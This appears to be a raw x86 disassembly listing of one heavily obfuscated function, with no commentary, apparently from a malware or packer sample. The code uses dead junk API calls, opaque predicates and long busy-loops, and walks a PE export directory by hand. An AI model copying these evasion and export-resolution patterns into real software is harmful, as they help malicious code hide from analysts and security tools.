mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x100398e1
jmp 0x100398bf
jmp 0x10039899
jmp 0x10039873
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_DrawTextW]
mov dword [ebp - 0x8c], 0xffffffff
mov dword [ebp - 0x108], 0xfffffff9
mov dword [ebp - 0x608], 0xffffffff
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0
je 0x10039a3a
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x14c8], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x14d0], eax
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x14d8], eax
cmp dword [ebp - 0x108], 0x197e
jl 0x100399c8
mov dword [ebp - 0x848], 1
jmp 0x100399cf
and dword [ebp - 0x848], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x848], eax
jg 0x100399e9
mov dword [ebp - 0x1074], 1
jmp 0x100399f0
and dword [ebp - 0x1074], 0
mov eax, dword [ebp - 0x8c]
mov dword [ebp - 0x14e0], eax
mov eax, dword [ebp - 0x108]
cmp dword [ebp - 0x108], eax
jne 0x10039a16
mov dword [ebp - 0xbb8], 1
jmp 0x10039a1d
and dword [ebp - 0xbb8], 0
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0xbb8]
neg eax
je 0x10039a3a
mov dword [ebp - 0x850], 1
jmp 0x10039a41
and dword [ebp - 0x850], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0x850], eax
jne 0x10039a5b
mov dword [ebp - 0xa98], 1
jmp 0x10039a62
and dword [ebp - 0xa98], 0
mov eax, dword [ebp - 0x608]
cmp dword [ebp - 0xa98], eax
jg 0x10039a7c
mov dword [ebp - 0x858], 1
jmp 0x10039a83
and dword [ebp - 0x858], 0
mov eax, dword [ebp - 0x8c]
imul eax, dword [ebp - 0x858]
cmp eax, 1
jg 0x10039aa1
mov dword [ebp - 0xc64], 1
jmp 0x10039aa8
and dword [ebp - 0xc64], 0
mov eax, dword [ebp - 0x608]
cmp dword [ebp - 0xc64], eax
jge 0x10039ac2
mov dword [ebp - 0x860], 1
jmp 0x10039ac9
and dword [ebp - 0x860], 0
mov eax, dword [ebp - 0x860]
add eax, 0xe0f7
imul eax, dword [ebp - 0x608]
cmp eax, dword [ebp - 0x8c]
je 0x10039aef
mov dword [ebp - 0xaa0], 1
jmp 0x10039af6
and dword [ebp - 0xaa0], 0
mov eax, dword [ebp - 0x8c]
cmp dword [ebp - 0xaa0], eax
je 0x10039ba2
or dword [ebp - 0x1258], 0xffffffff
or dword [ebp - 0x1254], 0xffffffff
or dword [ebp - 0x1250], 0xffffffff
or dword [ebp - 0x124c], 0xffffffff
lea ecx, [ebp - 0x619]
call fcn.100212ab
push eax
lea eax, [ebp - 0x1248]
push eax
lea eax, [ebp - 0x1258]
push eax
lea ecx, [ebp - 0x1708]
call fcn.100212ae
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x15d0]
call fcn.1002125a
mov dword [ebp - 4], 0x16
push 2
lea ecx, [ebp - 0x15d0]
call fcn.1002129c
mov dword [eax], 0x5ef13550
mov byte [ebp - 0x119], 0
movzx eax, byte [ebp - 0x119]
test eax, eax
je 0x10039b91
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_InflateRect]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x15d0]
call fcn.10021280
jmp 0x10039bc0
mov byte [ebp - 0x163], 0
movzx eax, byte [ebp - 0x163]
test eax, eax
je 0x10039bc0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
mov byte [ebp - 0x121], 0
movzx eax, byte [ebp - 0x121]
test eax, eax
je 0x10039be2
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_PeekMessageW]
cmp dword [ebp - 0x868], 0x6b97
jge 0x10039bfe
mov edx, dword [ebp - 0xe44]
mov ecx, 0x10084b98
call fcn.10023c34
mov eax, dword [ebp - 0x4a8]
mov ecx, dword [ebp - 0x4a8]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0x1e0], ecx
mov dword [ebp - 0x110], 0x1928c176
mov dword [ebp - 0x1188], 8
mov byte [ebp - 0x151], 0
movzx eax, byte [ebp - 0x151]
test eax, eax
je 0x10039c41
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov dword [ebp - 0x110], 0
jmp 0x10039c5a
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xfffffff2
je 0x10039d80
mov dword [ebp - 0x1280], 0x662a
mov dword [ebp - 0x127c], 0x662a
mov dword [ebp - 0x1278], 0x662a
mov dword [ebp - 0x1274], 0x662a
lea ecx, [ebp - 0x5ad]
call fcn.100212ab
push eax
lea eax, [ebp - 0x1270]
push eax
lea eax, [ebp - 0x1280]
push eax
lea ecx, [ebp - 0x1738]
call fcn.100212ae
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x11c8]
call fcn.1002125a
mov dword [ebp - 4], 0x17
mov dword [ebp - 0xe50], 0xf82baef
push 1
lea ecx, [ebp - 0x11c8]
call fcn.1002129c
push 1
lea ecx, [ebp - 0x11c8]
call fcn.1002129c
push 1
lea ecx, [ebp - 0x11c8]
call fcn.1002129c
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0x110], eax
jne 0x10039d16
mov dword [ebp - 0xbc0], 1
jmp 0x10039d1d
and dword [ebp - 0xbc0], 0
mov eax, dword [ebp - 0x110]
cmp dword [ebp - 0xbc0], eax
jle 0x10039d37
mov dword [ebp - 0x870], 1
jmp 0x10039d3e
and dword [ebp - 0x870], 0
imul eax, dword [ebp - 0x870], 5
cmp eax, dword [ebp - 0x1188]
jne 0x10039d59
mov dword [ebp - 0xaa8], 1
jmp 0x10039d60
and dword [ebp - 0xaa8], 0
mov eax, dword [ebp - 0xaa8]
mov dword [ebp - 0xe50], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x11c8]
call fcn.10021280
jmp 0x10039c4d
mov eax, dword [ebp - 0x1e0]
cmp dword [eax], 0x4550
jne 0x1004027b
mov eax, dword [ebp - 0x1e0]
cmp dword [eax + 0x74], 0
jbe 0x1004027b
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e0]
cmp dword [ecx + eax + 0x78], 0
je 0x1004027b
mov dword [ebp - 0xe4], 1
mov dword [ebp - 0x1b8], 0xfffffffe
mov dword [ebp - 0xe4], 0
jmp 0x10039de6
mov eax, dword [ebp - 0xe4]
inc eax
mov dword [ebp - 0xe4], eax
cmp dword [ebp - 0xe4], 0x18
je 0x10039e0d
mov byte [ebp - 0xe9], 0
movzx eax, byte [ebp - 0xe9]
test eax, eax
je 0x10039e0b
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
jmp 0x10039dd9
cmp dword [ebp - 0xe4], 0
je 0x10039ec4
mov eax, dword [ebp - 0xe4]
mov dword [ebp - 0xe4], eax
mov eax, dword [ebp - 0x1b8]
cmp dword [ebp - 0xe4], eax
je 0x10039e40
mov dword [ebp - 0x880], 1
jmp 0x10039e47
and dword [ebp - 0x880], 0
cmp dword [ebp - 0x1b8], 0xfffffffc
jne 0x10039e5c
mov dword [ebp - 0x878], 1
jmp 0x10039e63
and dword [ebp - 0x878], 0
mov eax, dword [ebp - 0x1b8]
cmp dword [ebp - 0x878], eax
jne 0x10039e7d
mov dword [ebp - 0xc50], 1
jmp 0x10039e84
and dword [ebp - 0xc50], 0
mov eax, dword [ebp - 0xc50]
neg eax
cmp dword [ebp - 0x880], eax
jne 0x10039ea0
mov dword [ebp - 0xab0], 1
jmp 0x10039ea7
and dword [ebp - 0xab0], 0
mov eax, dword [ebp - 0x1b8]
imul eax, dword [ebp - 0xab0]
test eax, eax
je 0x10039ec4
mov dword [ebp - 0x888], 1
jmp 0x10039ecb
and dword [ebp - 0x888], 0
mov eax, dword [ebp - 0x888]
mov dword [ebp - 0x1b8], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x190], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1e0]
mov edx, dword [ebp - 0x190]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0xc8], edx
mov dword [ebp - 0x20], 0xef72d4ea
push 2
lea ecx, [ebp - 0x5a4]
call fcn.100211fe
mov dword [ebp - 4], 0x18
mov dword [ebp - 0x3c0], 0
jmp 0x10039f30
mov eax, dword [ebp - 0x3c0]
inc eax
mov dword [ebp - 0x3c0], eax
cmp dword [ebp - 0x3c0], 2
jge 0x10039f52
push dword [ebp - 0x3c0]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
mov dword [eax], 0x21ac4888
jmp 0x10039f23
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x20], eax
jge 0x10039f66
mov dword [ebp - 0xbc8], 1
jmp 0x10039f6d
and dword [ebp - 0xbc8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xbc8], eax
jle 0x10039f84
mov dword [ebp - 0x890], 1
jmp 0x10039f8b
and dword [ebp - 0x890], 0
mov eax, dword [ebp - 0x20]
add eax, dword [ebp - 0x890]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x20], 1
jmp 0x10039fa7
mov eax, dword [ebp - 0x20]
dec eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jl 0x1003a44e
mov dword [ebp - 0x12a8], 1
mov dword [ebp - 0x12a4], 1
mov dword [ebp - 0x12a0], 1
mov dword [ebp - 0x129c], 1
lea ecx, [ebp - 0x621]
call fcn.100212ab
push eax
lea eax, [ebp - 0x1298]
push eax
lea eax, [ebp - 0x12a8]
push eax
lea ecx, [ebp - 0x1718]
call fcn.100212ae
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0xd1c]
call fcn.1002125a
mov byte [ebp - 4], 0x19
mov dword [ebp - 0x50], 0
push 2
lea ecx, [ebp - 0xd1c]
call fcn.1002129c
and dword [eax], 0
jmp 0x1003a04f
push 2
lea ecx, [ebp - 0xd1c]
call fcn.1002129c
mov dword [ebp - 0xab8], eax
mov eax, dword [ebp - 0xab8]
mov eax, dword [eax]
inc eax
mov ecx, dword [ebp - 0xab8]
mov dword [ecx], eax
push 2
lea ecx, [ebp - 0xd1c]
call fcn.1002129c
cmp dword [eax], 1
jg 0x1003a06a
mov dword [ebp - 0x50], 0xffffffff
jmp 0x1003a02b
mov byte [ebp - 0x16f], 0
movzx eax, byte [ebp - 0x16f]
test eax, eax
je 0x1003a084
push 0
call dword [sym.imp.KERNEL32.dll_GlobalLock]
mov dword [ebp - 0x50], 0
jmp 0x1003a094
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jg 0x1003a43a
mov dword [ebp - 0xe68], 1
push dword [ebp - 0x50]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
mov dword [ebp - 0x898], eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
mov ecx, dword [ebp - 0x898]
mov eax, dword [eax]
mov dword [ecx], eax
mov eax, dword [ebp - 0x898]
cmp dword [eax], 0
jne 0x1003a1b4
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
imul eax, dword [eax], 0x3989
test eax, eax
je 0x1003a110
mov eax, 0xc57f39ce
test eax, eax
je 0x1003a110
mov dword [ebp - 0x107c], 1
jmp 0x1003a117
and dword [ebp - 0x107c], 0
push dword [ebp - 0x50]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
cmp dword [eax], 0
jne 0x1003a146
push dword [ebp - 0x50]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
cmp dword [eax], 0
jne 0x1003a146
and dword [ebp - 0xc6c], 0
jmp 0x1003a150
mov dword [ebp - 0xc6c], 1
cmp dword [ebp - 0xc6c], 7
jne 0x1003a165
mov dword [ebp - 0x8a0], 1
jmp 0x1003a16c
and dword [ebp - 0x8a0], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x8a0]
jne 0x1003a183
mov dword [ebp - 0xac0], 1
jmp 0x1003a18a
and dword [ebp - 0xac0], 0
cmp dword [ebp - 0xac0], 0xb541
je 0x1003a1a2
mov dword [ebp - 0x8a8], 1
jmp 0x1003a1a9
and dword [ebp - 0x8a8], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x8a8], eax
jg 0x1003a1f3
mov byte [ebp - 0xec], 0
movzx eax, byte [ebp - 0xec]
test eax, eax
je 0x1003a1d4
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_GetCharABCWidthsW]
mov byte [ebp - 0x165], 0
movzx eax, byte [ebp - 0x165]
test eax, eax
je 0x1003a1ee
push 0
call dword [sym.imp.GDI32.dll_RealizePalette]
jmp 0x1003a435
mov dword [ebp - 0x1a4], 0xfffffffa
mov dword [ebp - 0x1a4], 0
jmp 0x1003a216
mov eax, dword [ebp - 0x1a4]
dec eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0xffffffe5
jge 0x1003a435
mov dword [ebp - 0x4b0], 0x2f37fc03
mov dword [ebp - 0xbd0], 0x1e9d
mov dword [ebp - 0x110c], 0x1000ad64
cmp dword [ebp - 0xbd0], 0x2270
jle 0x1003a2f1
and dword [ebp - 0x570], 0
jmp 0x1003a267
mov eax, dword [ebp - 0x570]
inc eax
mov dword [ebp - 0x570], eax
cmp dword [ebp - 0x570], 0x77aa
jge 0x1003a2f1
and dword [ebp - 0x3c8], 0
jmp 0x1003a289
mov eax, dword [ebp - 0x3c8]
inc eax
mov dword [ebp - 0x3c8], eax
cmp dword [ebp - 0x3c8], 0x7f76
jge 0x1003a2ec
mov eax, dword [ebp - 0x570]
xor eax, dword [ebp - 0x3c8]
cdq
mov dword [ebp - 0xf30], eax
mov dword [ebp - 0xf2c], edx
push dword [ebp - 0xf2c]
push dword [ebp - 0xf30]
lea ecx, [ebp - 0x17fc]
call fcn.1001105e
pop ecx
pop ecx
mov dword [ebp - 0xe5c], eax
mov ecx, dword [ebp - 0xe5c]
call fcn.10020ec4
push eax
call fcn.10069ba3
pop ecx
lea ecx, [ebp - 0x17fc]
call fcn.10020eba
jmp 0x1003a27c
jmp 0x1003a25a
mov byte [ebp - 0x129], 0
cmp dword [ebp - 0xbd0], 0x1ce0
jge 0x1003a310
push dword [ebp - 0x110c]
call fcn.10069ba3
pop ecx
movzx eax, byte [ebp - 0x129]
test eax, eax
je 0x1003a325
push 0
push 0
call dword [sym.imp.KERNEL32.dll_ConnectNamedPipe]
mov dword [ebp - 0x4b0], 0
jmp 0x1003a33e
mov eax, dword [ebp - 0x4b0]
inc eax
mov dword [ebp - 0x4b0], eax
cmp dword [ebp - 0x4b0], 1
jg 0x1003a430
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
cmp dword [eax], 0
je 0x1003a3f9
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x14e8], eax
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
mov eax, dword [ebp - 0x1a4]
mov dword [ebp - 0x14f0], eax
push 0
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
mov esi, dword [eax]
inc esi
inc esi
push dword [ebp - 0x50]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
imul esi, dword [eax]
push dword [ebp - 0x20]
lea ecx, [ebp - 0x5a4]
call fcn.1002129c
add esi, dword [eax]
push 1
lea ecx, [ebp - 0xd1c]
call fcn.1002129c
add esi, dword [eax]
mov dword [ebp - 0x8b0], esi
push 1
lea ecx, [ebp - 0xd1c]
call fcn.1002129c
mov ecx, dword [ebp - 0x8b0]
mov dword [eax], ecx
cmp dword [ebp - 0x8b0], 0
je 0x1003a3f9
mov dword [ebp - 0xac8], 1
jmp 0x1003a400
and dword [ebp - 0xac8], 0
cmp dword [ebp - 0xac8], 0x11f64db2
je 0x1003a418
mov dword [ebp - 0x8b8], 1
jmp 0x1003a41f
and dword [ebp - 0x8b8], 0
mov eax, dword [ebp - 0x8b8]
mov dword [ebp - 0xe68], eax
jmp 0x1003a331
jmp 0x1003a209
jmp 0x1003a08d
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0xd1c]
call fcn.10021280
jmp 0x10039fa0
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x5a4]
call fcn.10021280
mov eax, 0xffff
mov word [ebp - 0x98], ax
mov dword [ebp - 0x3d0], 0x8ec0ae97
mov dword [ebp - 0x3d0], 0xffffffee
jmp 0x1003a48c
mov eax, dword [ebp - 0x3d0]
dec eax
mov dword [ebp - 0x3d0], eax
cmp dword [ebp - 0x3d0], 0xffffffe4
jne 0x1003a5be
mov byte [ebp - 0x131], 0
movzx eax, byte [ebp - 0x131]
test eax, eax
je 0x1003a4b5
push 0
push 0
call dword [sym.imp.USER32.dll_GetWindowRect]
mov dword [ebp - 0xc58], 0x661
mov dword [ebp - 0x1084], 0x1000ad90
cmp dword [ebp - 0xc58], 0x850
jle 0x1003a581
and dword [ebp - 0x520], 0
jmp 0x1003a4ef
mov eax, dword [ebp - 0x520]
inc eax
mov dword [ebp - 0x520], eax
cmp dword [ebp - 0x520], 0x4c63
jge 0x1003a581
and dword [ebp - 0x3d8], 0
jmp 0x1003a515
mov eax, dword [ebp - 0x3d8]
inc eax
mov dword [ebp - 0x3d8], eax
cmp dword [ebp - 0x3d8], 0x4753
jge 0x1003a57c
and dword [ebp - 0x4b8], 0
jmp 0x1003a537
mov eax, dword [ebp - 0x4b8]
inc eax
mov dword [ebp - 0x4b8], eax
cmp dword [ebp - 0x4b8], 0x209b
jge 0x1003a57a
mov eax, dword [ebp - 0x520]
add eax, dword [ebp - 0x3d8]
add eax, dword [ebp - 0x4b8]
cdq
mov dword [ebp - 0xf3c], eax
mov dword [ebp - 0xf38], edx
push dword [ebp - 0xf38]
push dword [ebp - 0xf3c]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003a52a
jmp 0x1003a508
jmp 0x1003a4e2
mov byte [ebp - 0x167], 0
cmp dword [ebp - 0xc58], 0x379
jge 0x1003a5a4
mov edx, dword [ebp - 0x1084]
mov ecx, 0x10084b98
call fcn.10023c34
movzx eax, byte [ebp - 0x167]
test eax, eax
je 0x1003a5b9
push 0
push 0
call dword [sym.imp.USER32.dll_ShowOwnedPopups]
jmp 0x1003a47f
or dword [ebp - 0x188], 0xffffffff
mov dword [ebp - 0x4c], 4
mov dword [ebp - 0x8c0], 0x6947
mov dword [ebp - 0xe74], 0x1000addc
cmp dword [ebp - 0x8c0], 0x6aa6
jle 0x1003a663
and dword [ebp - 0x3e0], 0
jmp 0x1003a602
mov eax, dword [ebp - 0x3e0]
inc eax
mov dword [ebp - 0x3e0], eax
cmp dword [ebp - 0x3e0], 0x6518
jge 0x1003a663
and dword [ebp - 0x558], 0
jmp 0x1003a624
mov eax, dword [ebp - 0x558]
inc eax
mov dword [ebp - 0x558], eax
cmp dword [ebp - 0x558], 0x6f89
jge 0x1003a661
mov eax, dword [ebp - 0x3e0]
or eax, dword [ebp - 0x558]
cdq
mov dword [ebp - 0xf48], eax
mov dword [ebp - 0xf44], edx
push dword [ebp - 0xf44]
push dword [ebp - 0xf48]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003a617
jmp 0x1003a5f5
mov dword [ebp - 0x1b0], 0xe263
cmp dword [ebp - 0x8c0], 0x679f
jge 0x1003a689
mov edx, dword [ebp - 0xe74]
mov ecx, 0x10084b98
call fcn.10023c34
mov dword [ebp - 0x8e8], 0x8962600b
mov dword [ebp - 0x108c], 0xfffffffe
mov dword [ebp - 0x4c], 0xfffffff9
jmp 0x1003a6ad
mov eax, dword [ebp - 0x4c]
inc eax
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x4c], 0xffffffff
jg 0x1003ab5a
push 1
lea ecx, [ebp - 0x63c]
call fcn.100211fe
mov dword [ebp - 4], 0x1a
mov dword [ebp - 0xcc], 0xfffffffb
mov dword [ebp - 0x118], 0xfffffff9
mov dword [ebp - 0x238], 0
jmp 0x1003a6f8
mov eax, dword [ebp - 0x238]
inc eax
mov dword [ebp - 0x238], eax
cmp dword [ebp - 0x238], 1
jge 0x1003a717
push dword [ebp - 0x238]
lea ecx, [ebp - 0x63c]
call fcn.1002129c
or dword [eax], 0xffffffff
jmp 0x1003a6eb
mov dword [ebp - 0xcc], 0
jmp 0x1003a730
mov eax, dword [ebp - 0xcc]
dec eax
mov dword [ebp - 0xcc], eax
cmp dword [ebp - 0xcc], 0
jl 0x1003a8fb
mov eax, dword [ebp - 0x4c]
cmp dword [ebp - 0x4c], eax
je 0x1003a757
cmp dword [ebp - 0x4c], 0
je 0x1003a757
mov dword [ebp - 0xad0], 1
jmp 0x1003a75e
and dword [ebp - 0xad0], 0
cmp dword [ebp - 0xad0], 0xa53f
je 0x1003a776
mov dword [ebp - 0x8c8], 1
jmp 0x1003a77d
and dword [ebp - 0x8c8], 0
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x63c]
call fcn.1002129c
push 0xfffffffffffffffe
pop ecx
sub ecx, dword [eax]
imul ecx, dword [ebp - 0x8c8]
test ecx, ecx
je 0x1003a7b0
cmp dword [ebp - 0x4c], 0
je 0x1003a7b0
mov dword [ebp - 0xbd8], 1
jmp 0x1003a7b7
and dword [ebp - 0xbd8], 0
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x63c]
call fcn.1002129c
mov ecx, dword [ebp - 0xbd8]
cmp ecx, dword [eax]
jne 0x1003a7de
mov dword [ebp - 0x8d0], 1
jmp 0x1003a7e5
and dword [ebp - 0x8d0], 0
mov eax, dword [ebp - 0x1b0]
cmp dword [ebp - 0x8d0], eax
jge 0x1003a7ff
mov dword [ebp - 0xad8], 1
jmp 0x1003a806
and dword [ebp - 0xad8], 0
push 0
lea ecx, [ebp - 0x63c]
call fcn.1002129c
mov ecx, dword [ebp - 0xad8]
cmp ecx, dword [eax]
jl 0x1003a829
mov dword [ebp - 0x8d8], 1
jmp 0x1003a830
and dword [ebp - 0x8d8], 0
push dword [ebp - 0xcc]
lea ecx, [ebp - 0x63c]
call fcn.1002129c
mov eax, dword [eax]
cmp eax, dword [ebp - 0x8d8]
jne 0x1003a857
mov dword [ebp - 0xc74], 1
jmp 0x1003a85e
and dword [ebp - 0xc74], 0
mov esi, dword [ebp - 0xc74]
sub esi, 0x4adc
push 0
lea ecx, [ebp - 0x63c]
call fcn.1002129c
cmp esi, dword [eax]
jle 0x1003a887
mov dword [ebp - 0x8e0], 1
jmp 0x1003a88e
and dword [ebp - 0x8e0], 0
mov eax, dword [ebp - 0x8e0]
mov dword [ebp - 0x118], eax
mov dword [ebp - 0x118], 0
jmp 0x1003a8b3
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0
jg 0x1003a8f6
mov dword [ebp - 0x1b0], 0
jmp 0x1003a8d5
mov eax, dword [ebp - 0x1b0]
dec eax
mov dword [ebp - 0x1b0], eax
cmp dword [ebp - 0x1b0], 0
jl 0x1003a8f4
push 0
lea ecx, [ebp - 0x63c]
call fcn.1002129c
cmp dword [eax], 0
je 0x1003a8f2
jmp 0x1003a8f4
jmp 0x1003a8c8
jmp 0x1003a8a6
jmp 0x1003a723
xor eax, eax
je 0x1003a920
mov byte [ebp - 0x139], 0
movzx eax, byte [ebp - 0x139]
test eax, eax
je 0x1003a91b
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
jmp 0x1003ab46
mov dword [ebp - 0x244], 8
push 3
lea ecx, [ebp - 0x1138]
call fcn.100211fe
mov byte [ebp - 4], 0x1b
mov dword [ebp - 0xe80], 0x537e8f88
mov dword [ebp - 0x23c], 0
jmp 0x1003a95e
mov eax, dword [ebp - 0x23c]
inc eax
mov dword [ebp - 0x23c], eax
cmp dword [ebp - 0x23c], 3
jge 0x1003a980
push dword [ebp - 0x23c]
lea ecx, [ebp - 0x1138]
call fcn.1002129c
mov dword [eax], 0xa09a164e
jmp 0x1003a951
mov eax, dword [ebp - 0x244]
dec eax
mov dword [ebp - 0x244], eax
cmp dword [ebp - 0x244], 0x948214d2
ja 0x1003a9a5
mov dword [ebp - 0xae0], 1
jmp 0x1003a9ac
and dword [ebp - 0xae0], 0
mov eax, dword [ebp - 0x118]
cmp eax, dword [ebp - 0xae0]
jle 0x1003a9ee
push 1
lea ecx, [ebp - 0x1138]
call fcn.1002129c
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov byte [ebp - 0x169], 0
movzx eax, byte [ebp - 0x169]
test eax, eax
je 0x1003a9e9
push 0
call dword [sym.imp.USER32.dll_DestroyCursor]
jmp 0x1003ab37
mov dword [ebp - 0x5e0], 0xfff9
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x14f8], eax
or eax, 0xffffffff
je 0x1003aa29
mov eax, dword [ebp - 0x4c]
mov dword [ebp - 0x8e8], eax
mov eax, dword [ebp - 0x5e0]
cmp dword [ebp - 0x8e8], eax
je 0x1003aa29
mov dword [ebp - 0xbe0], 1
jmp 0x1003aa30
and dword [ebp - 0xbe0], 0
mov eax, dword [ebp - 0x4c]
cmp eax, dword [ebp - 0xbe0]
je 0x1003aa47
mov dword [ebp - 0x8f0], 1
jmp 0x1003aa4e
and dword [ebp - 0x8f0], 0
mov eax, dword [ebp - 0x1b0]
cmp dword [ebp - 0x8f0], eax
jg 0x1003aa68
mov dword [ebp - 0x1190], 1
jmp 0x1003aa6f
and dword [ebp - 0x1190], 0
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x1500], eax
mov eax, dword [ebp - 0x5e0]
mov dword [ebp - 0x1508], eax
mov eax, 0x603fa8b7
test eax, eax
je 0x1003aa97
cmp dword [ebp - 0x244], 0
cmp dword [ebp - 0xe80], 0xc82f
je 0x1003aaaf
mov dword [ebp - 0xae8], 1
jmp 0x1003aab6
and dword [ebp - 0xae8], 0
mov eax, dword [ebp - 0x118]
cmp dword [ebp - 0xae8], eax
jne 0x1003aad0
mov dword [ebp - 0x8f8], 1
jmp 0x1003aad7
and dword [ebp - 0x8f8], 0
cmp dword [ebp - 0x8f8], 0x552c
jne 0x1003aaef
mov dword [ebp - 0xc7c], 1
jmp 0x1003aaf6
and dword [ebp - 0xc7c], 0
mov eax, dword [ebp - 0xc7c]
mov dword [ebp - 0x108c], eax
push 0
lea ecx, [ebp - 0x1138]
call fcn.1002129c
cmp dword [eax], 0
je 0x1003ab37
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1138]
call fcn.10021280
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x63c]
call fcn.10021280
jmp 0x1003a6a6
mov byte [ebp - 4], 0x1a
lea ecx, [ebp - 0x1138]
call fcn.10021280
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x63c]
call fcn.10021280
jmp 0x1003a6a6
cmp dword [ebp + 0x10], 0
jbe 0x1003b217
mov dword [ebp - 0x900], 0x9dd
mov dword [ebp - 0xe8c], 0x1000ae10
cmp dword [ebp - 0x900], 0xbdf
jle 0x1003ac43
and dword [ebp - 0x24c], 0
jmp 0x1003ab9e
mov eax, dword [ebp - 0x24c]
inc eax
mov dword [ebp - 0x24c], eax
cmp dword [ebp - 0x24c], 0x6f1a
jge 0x1003ac33
and dword [ebp - 0x254], 0
jmp 0x1003abc4
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 0x21b1
jge 0x1003ac2e
and dword [ebp - 0x25c], 0
jmp 0x1003abe6
mov eax, dword [ebp - 0x25c]
inc eax
mov dword [ebp - 0x25c], eax
cmp dword [ebp - 0x25c], 0x54a9
jge 0x1003ac2c
mov eax, dword [ebp - 0x24c]
cdq
idiv dword [ebp - 0x254]
sub edx, dword [ebp - 0x25c]
mov eax, edx
cdq
mov dword [ebp - 0xf54], eax
mov dword [ebp - 0xf50], edx
push dword [ebp - 0xf50]
push dword [ebp - 0xf54]
mov ecx, 0x10084b98
call fcn.10020ee4
jmp 0x1003abd9
jmp 0x1003abb7
jmp 0x1003ab91
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_CreateBitmap]
push 2
lea ecx, [ebp - 0x12fc]
call fcn.100211fe
mov dword [ebp - 4], 0x1c
cmp dword [ebp - 0x900], 0x65e
jge 0x1003ac73
mov edx, dword [ebp - 0xe8c]
mov ecx, 0x10084b98
call fcn.10023c34
mov dword [ebp - 0x1c0], 0xfffffffd
mov dword [ebp - 0x264], 0
jmp 0x1003ac96
mov eax, dword [ebp - 0x264]
inc eax
mov dword [ebp - 0x264], eax
cmp dword [ebp - 0x264], 2
jge 0x1003acb5
push dword [ebp - 0x264]
lea ecx, [ebp - 0x12fc]
call fcn.1002129c
and dword [eax], 0
jmp 0x1003ac89
mov dword [ebp - 0xaf0], 0x37a7
mov dword [ebp - 0x1114], 0x1000ae60
cmp dword [ebp - 0xaf0], 0x3b41
jle 0x1003ad83
and dword [ebp - 0x27c], 0
jmp 0x1003acef
mov eax, dword [ebp - 0x27c]
inc eax
mov dword [ebp - 0x27c], eax
cmp dword [ebp - 0x27c], 0x6e64
jge 0x1003ad83
and dword [ebp - 0x26c], 0
jmp 0x1003ad15
mov eax, dword [ebp - 0x26c]
inc eax
mov dword [ebp - 0x26c], eax
cmp dword [ebp - 0x26c], 0x690b
jge 0x1003ad7e
and dword [ebp - 0x274], 0
jmp 0x1003ad37
